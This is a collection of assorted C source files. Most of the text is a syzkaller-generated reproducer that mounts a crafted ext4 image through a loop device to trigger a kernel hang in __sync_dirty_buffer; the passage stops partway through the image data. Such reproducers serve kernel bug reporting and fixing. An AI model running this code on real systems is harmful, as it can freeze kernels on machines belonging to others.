a[rnew][bnew]=c%10000007;
}
int main()
{
int i,j,t,b,r;
scanf("%d",&t);
for(i=1;i<10001;i++)
{
for(j=1;j<7;j++)
{
fun(i,j);
}
}
for(i=0;i<t;i++)
{
scanf("%ld",&n);
printf("Case %d: %ld\n",i+1,a[n][6]);
}
return 0;
}
|
the_stack_data/53630.c | #include <stdio.h>
#include <stdlib.h>
void incAspect(int ret, int arg) {
if (ret>10) {
printf("Function inc was called with argument %d and returned %d\n",
arg, ret);
printf("Maximum limit passed. Exiting...\n");
exit(1);
}
}
|
the_stack_data/220455199.c | /*
************************************************
username : smmehrab
fullname : s.m.mehrabul islam
email : [email protected]
institute : university of dhaka, bangladesh
session : 2017-2018
************************************************
*/
#include<stdio.h>
int main()
{
char s[110];
int i=1,c=0;
gets(s);
while(s[i]!='\0')
{
if(s[i]==s[i-1])
{
c++;
if(c==6)
{
printf("YES\n");
return 0;
}
}
else{
c=0;
}
i++;
}
printf("NO\n");
return 0;
}
|
the_stack_data/179830033.c | extern const unsigned char Pods_FlappyBirdTestsVersionString[];
extern const double Pods_FlappyBirdTestsVersionNumber;
const unsigned char Pods_FlappyBirdTestsVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:Pods_FlappyBirdTests PROJECT:Pods-1" "\n";
const double Pods_FlappyBirdTestsVersionNumber __attribute__ ((used)) = (double)1.;
|
the_stack_data/74176.c | #include <sys/socket.h>
#include <fcntl.h>
#include <errno.h>
#include "syscall.h"
int socketpair(int domain, int type, int protocol, int fd[2])
{
#ifdef USE_HOST_NET
// lkl_printf("%s %d %d %d\n", __func__, __LINE__, fd[0], fd[1]);
return wrap_socketpair(domain, type, protocol, fd);
#endif
int r = socketcall(socketpair, domain, type, protocol, fd, 0, 0);
if (r<0 && (errno==EINVAL || errno==EPROTONOSUPPORT)
&& (type&(SOCK_CLOEXEC|SOCK_NONBLOCK))) {
r = socketcall(socketpair, domain,
type & ~(SOCK_CLOEXEC|SOCK_NONBLOCK),
protocol, fd, 0, 0);
if (r < 0) return r;
if (type & SOCK_CLOEXEC) {
__syscall(SYS_fcntl, fd[0], F_SETFD, FD_CLOEXEC);
__syscall(SYS_fcntl, fd[1], F_SETFD, FD_CLOEXEC);
}
if (type & SOCK_NONBLOCK) {
__syscall(SYS_fcntl, fd[0], F_SETFL, O_NONBLOCK);
__syscall(SYS_fcntl, fd[1], F_SETFL, O_NONBLOCK);
}
}
return r;
}
|
the_stack_data/51699198.c | // INFO: task hung in __sync_dirty_buffer
// https://syzkaller.appspot.com/bug?id=113a4a32dcf5b9c53b61
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/loop.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size,
unsigned long nsegs,
struct fs_image_segment* segs)
{
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (size_t i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static int setup_loop_device(long unsigned size, long unsigned nsegs,
struct fs_image_segment* segs,
const char* loopname, int* memfd_p, int* loopfd_p)
{
int err = 0, loopfd = -1;
size = fs_image_segment_check(size, nsegs, segs);
int memfd = syscall(sys_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (size_t i = 0; i < nsegs; i++) {
if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
}
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
*memfd_p = memfd;
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile unsigned long size,
volatile unsigned long nsegs,
volatile long segments, volatile long flags,
volatile long optsarg)
{
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
return -1;
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
}
error_clear_loop:
if (need_loop_device) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
close(memfd);
}
errno = err;
return res;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
memcpy((void*)0x20000000, "ext4\000", 5);
memcpy((void*)0x20000100, "./file0\000", 8);
*(uint64_t*)0x20000200 = 0x20001500;
memcpy((void*)0x20001500,
"\x20\x00\x00\x00\x40\x00\x00\x00\x03\x00\x00\x00\x32\x00\x00\x00\x0f"
"\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x80"
"\x00\x00\x00\x80\x00\x00\x20\x00\x00\x00\xdb\xf4\x65\x5f\xdb\xf4\x65"
"\x5f\x01\x00\xff\xff\x53\xef\x01\x00\x01\x00\x00\x00\xda\xf4\x65\x5f"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0b"
"\x00\x00\x00\x00\x01\x00\x00\x28\x02\x00\x00\x02\x84",
98);
*(uint64_t*)0x20000208 = 0x62;
*(uint64_t*)0x20000210 = 0x400;
*(uint64_t*)0x20000218 = 0x20010300;
memcpy((void*)0x20010300,
"\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x32\x00\x0f", 15);
*(uint64_t*)0x20000220 = 0xf;
*(uint64_t*)0x20000228 = 0x1000;
*(uint64_t*)0x20000230 = 0x20010400;
memcpy(
(void*)0x20010400,
"\xff\x3f\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
